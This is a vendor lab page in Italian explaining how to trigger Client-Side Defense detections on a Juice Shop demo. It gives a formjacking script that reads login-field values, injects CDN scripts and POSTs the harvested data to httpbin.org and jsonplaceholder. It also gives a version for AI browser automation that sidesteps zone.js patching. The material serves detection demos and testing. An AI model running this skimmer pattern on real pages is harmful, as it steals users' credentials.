- Home
- Difesa lato client
- Rilevamento dei trigger
Rilevamento dei trigger
Rilevamento dei trigger
Sezione intitolata “Rilevamento dei trigger”CSD monitora il comportamento JavaScript all’interno del browser. A differenza del Firewall per applicazioni web (WAF) o della Difesa Bot, non è possibile attivare il rilevamento CSD tramite comandi curl — è necessaria una reale attività di script lato browser. Lo script combinato seguente attiva tutti e tre i segnali di rilevamento CSD in un’unica esecuzione: raccolta dei campi del modulo, iniezione di script di terze parti da più domini CDN ed esfiltrazione di dati verso endpoint esterni.
Eseguire lo Script di Simulazione Combinato
Sezione intitolata “Eseguire lo Script di Simulazione Combinato”-
Navigare alla pagina di login di Juice Shop all’indirizzo
https://botdemo.sales-demo.f5demos.com/#/login -
Inserire credenziali fittizie nei campi del modulo — digitare
test@example.comnel campo Email eP@ssword123nel campo Password (non inviare il modulo) -
Aprire DevTools (F12 → scheda Console)


-
Incollare il seguente script nella console e premere Invio — viene eseguito automaticamente come funzione auto-invocante
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
Osservare l’output della console
[CSD Demo]suddiviso per fasi che conferma ogni passaggio: raccolta dei campi, iniezione di script da 4 domini CDN ed esfiltrazione dei dati.esm.shfornisce la sintassi dei moduli ES (export default …) — quando caricato come tag<script>classico, questo generaUncaught SyntaxError: Cannot use import statement outside a module. Questo è previsto e non influisce sul rilevamento CSD (il tag script viene comunque iniettato e la richiesta di rete viene comunque effettuata)

Esecuzione Automatizzata con IA
Sezione intitolata “Esecuzione Automatizzata con IA”Gli assistenti IA dotati di strumenti di automazione browser (MCP Chrome DevTools, Playwright, Puppeteer) eseguono la simulazione in modo programmatico anziché seguire i passaggi manuali descritti sopra:
- Navigare con initScript — navigare prima verso
about:blankper garantire un contesto documento pulito, poinavigate_pageverso l’URL della pagina di login (ad es.http://$F5XC_DOMAINNAME/#/login) con uninitScriptche salva i riferimenti nativi asetInterval,clearInterval,fetcheconsole.logprima che zone.js li modifichi, esegue il polling dei campi del modulo di login, compila le credenziali tramite il setter nativoHTMLInputElement.prototype.valueed esegue immediatamente il Combined Detection Script inline. Utilizzare verbatim l’initScript riportato di seguito. - Chiudere il Banner di Benvenuto —
press_keyconEscapeper chiudere il Banner di Benvenuto. Nelle visite successive il banner potrebbe non comparire (cookie persistenti) - Attendere il completamento — attendere 10 secondi affinché tutte le callback di caricamento/errore degli script CDN e le risoluzioni delle promise fetch vengano completate
- Acquisire prove —
list_console_messagesper verificare la presenza di[CSD Demo] Simulation complete;list_network_requestsfiltrato per tipiscriptefetchper verificare i codici di stato HTTP
Harness initScript (verbatim — racchiude il Combined Detection Script per l’esecuzione automatizzata):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Nota su fetch nativo: Questo harness salva window.fetch.bind(window) per evitare errori di zone.js. Questo è il comportamento corretto per tutte le fasi di simulazione degli attacchi. La mitigazione CSD blocca il caricamento degli script (azzerando i valori src dei tag <script>), non le chiamate fetch(), pertanto il salvataggio del riferimento fetch nativo non influisce sul comportamento di mitigazione. Lo stesso initScript viene utilizzato per la Fase 2 e la Fase 3.
Gli operatori privi di strumenti di automazione browser seguono i passaggi manuali descritti sopra.
Cosa Fa lo Script
Sezione intitolata “Cosa Fa lo Script”La simulazione combinata attiva tutti e tre i segnali di rilevamento CSD:
| Comportamento | Cosa fa lo script | Cosa vede CSD |
|---|---|---|
| Raccolta dei campi | Legge i valori dagli elementi input esistenti (email, password) | Script che leggono campi sensibili del modulo — segnalato come rischio elevato |
| Iniezione di script | Aggiunge 4 tag <script> che caricano da cdn.jsdelivr.net, esm.sh, unpkg.com e ga.jspm.io | 4 nuovi domini di script di terze parti sulla pagina |
| Esfiltrazione dei dati | Invia i dati raccolti tramite fetch a www.httpbin.org e jsonplaceholder.typicode.com | Chiamate di rete verso domini esterni (nota: le destinazioni fetch compaiono come interazioni di rete degli script, non nella vista del dominio di rete) |
Simulazioni Avanzate
Sezione intitolata “Simulazioni Avanzate”Lo script combinato precedente è una versione semplificata a 3 fasi (raccolta, iniezione, esfiltrazione) adatta alla maggior parte delle demo. La Libreria degli script di attacco fornisce 10 script mirati organizzati per tipo di attacco, tra cui un test di stress Rilevamento massimo che aggiunge manipolazione del DOM, esfiltrazione dei cookie e canali image beacon in aggiunta alla copertura dello script combinato. Utilizzare gli script individuali per dimostrare in isolamento specifiche categorie di attacco (formjacking, digital skimming, iniezione nella supply chain, esfiltrazione di dati, manipolazione del DOM).